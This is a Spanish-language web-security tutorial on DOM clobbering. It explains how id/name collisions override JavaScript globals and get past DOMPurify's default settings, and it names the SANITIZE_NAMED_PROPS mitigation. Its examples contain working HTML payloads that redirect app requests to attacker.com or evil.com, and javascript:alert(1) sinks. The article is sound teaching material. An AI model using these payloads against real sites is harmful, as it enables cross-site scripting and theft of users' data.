← Volver al buscador
Seguridad web Avanzado

DOM clobbering — override de variables globales JS para bypassear sanitizers

Cómo usar DOM clobbering (name/id collisions) para sobrescribir variables JS globales y bypassear sanitizers como DOMPurify, achivar XSS donde innerHTML está bloqueado por defecto.

Respuesta rápida

DOM clobbering aprovecha que HTML elements con id o name se exponen automáticamente como propiedades de document y window. Si una app lee window.config.apiBase o document.foo.bar esperando un objeto JS, el atacante puede inyectar <form id="config"><input name="apiBase" value="https://evil.com"> y el access via property lookup retorna el HTMLElement como si fuera el objeto esperado. Permite bypass de sanitizers (DOMPurify default permite name/id atributos) y HTML-only injection que escala a JS execution.


El mecanismo base

HTML5 spec declara que para compatibilidad con código legacy, los elements con id o name se exponen en el global scope:

<div id="myVar"></div>
console.log(window.myVar);  // HTMLDivElement
console.log(myVar);          // Same, sin prefijo window

Si dos elements tienen el mismo id, JS devuelve una HTMLCollection:

<a id="link"></a>
<a id="link"></a>
window.link;  // HTMLCollection [a, a]

Y dentro de un <form>, los <input name="foo"> se exponen como propiedades del form:

<form id="config">
  <input name="apiBase" value="https://attacker.com">
</form>
window.config.apiBase;  // HTMLInputElement
window.config.apiBase.value;  // "https://attacker.com"

Cuando la app coercionа esto a string (concat, template literal, fetch), el browser llama toString() que devuelve el atributo value para <input> o el href para <a>.


Patrón vulnerable básico

// App busca window.config (espera objeto JS)
if (window.config && window.config.apiBase) {
  fetch(window.config.apiBase + '/data');
}

Si el atacante puede inyectar solo HTML (no <script>), no necesitaría JS execution. Solo:

<a id="config"></a>
<a id="config" name="apiBase" href="https://attacker.com//"></a>

window.config resuelve a HTMLCollection con dos <a>. Property access .apiBase busca por name → segundo <a>. Coerce a string → href. Resultado: la app hace fetch('https://attacker.com//data') con las cookies del user.


Elements clobbeables — tabla de referencia

ElementtoString() devuelveProperty exposure
<a id="x" href="URL">URL del hrefwindow.x
<area id="x" href="URL">URL del hrefwindow.x
<form id="x"><input name="y">[object HTMLFormElement]window.x.y = input element
<iframe id="x" src="URL">URL del srcwindow.x (objeto Window del iframe)
<img id="x" src="URL">URL del srcwindow.x
<object id="x" data="URL">URL del datawindow.x
<embed id="x" src="URL">URL del srcwindow.x
<base href="URL">n/aCambia base URL relative

Anchor tag — el clobber más versátil

<a> permite que su toString() devuelva el href:

<a id="x" href="https://attacker.com"></a>
String(window.x);  // "https://attacker.com"
window.x + '';      // "https://attacker.com"
`${window.x}`;     // "https://attacker.com"

Cualquier sink que concatene o use template literal con window.x ahora redirige a attacker.com.

Variantes útiles

<!-- href con javascript: para sinks que asignan a location -->
<a id="redirect" href="javascript:alert(1)"></a>

Si la app hace location = window.redirect, dispara XSS (el sink "blando" location acepta javascript:).

<!-- Form con múltiples inputs para construir objeto multi-prop -->
<form id="settings">
  <input name="theme" value="dark">
  <input name="apiUrl" value="https://evil.com">
  <input name="onError" value="ATTACKER_FUNC">
</form>

Si la app lee window.settings.theme, .apiUrl, .onError → todos clobbered.


Sanitizer bypass — DOMPurify default config

DOMPurify por defecto permite atributos id y name porque son atributos legítimos de HTML (no son handlers ejecutables). Sin <script> o handlers, la sanitización no detecta nada peligroso. Pero los elements quedan vivos en el DOM y disponibles para clobber:

const dirty = `<form id="config"><input name="apiBase" value="javascript:alert(1)">`;
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// → <form id="config"><input name="apiBase" value="javascript:alert(1)">
//
// DOMPurify NO bloquea esto. No hay tags ejecutables ni handlers.
// Pero al insertarlo, window.config.apiBase ahora es controlado por atacante.

document.body.innerHTML = clean;

// Cualquier código posterior que lea window.config.apiBase está pwned
location = window.config.apiBase;  // → javascript:alert(1)

Mitigación correcta

DOMPurify tiene configuración SANITIZE_DOM: true (default) y SANITIZE_NAMED_PROPS: true (no default hasta v3.x). Activar:

DOMPurify.sanitize(dirty, { SANITIZE_NAMED_PROPS: true });

Esto prefixa los id/name con user-content- evitando que colisionen con globals. Pero la mayoría de apps NO activa este flag porque no lo conocen.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Crear cuentaSuscribirmeVer labs relacionados

Practica esto en un lab

Dom Clobbering

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

Con cuenta€1200

Stored XSS €1200 — bypass de sanitizer via SVG href javascript: con entity encoding

Walkthrough de un report real €1200: stored XSS en POE bypassando sanitizer fix mediante SVG con href=`javascript:` y HTML entity encoding sobre los caracteres filtrados.

12 minxssstored-xsssvg
Leer artículo
Gratis€1.200

Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover

Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.

12 minxssstored-xssaccess-delegation
Leer artículo
Gratis

DOM XSS — gadgets, postMessage handlers y CVE-2025-59840

DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.

13 mindom-xssxsspostmessage
Leer artículo
Nivel avanzadoToda la Academy

Contenido educativo de Kerb3r0ps. Úsalo solo sobre sistemas para los que tengas permiso. Volver al buscador.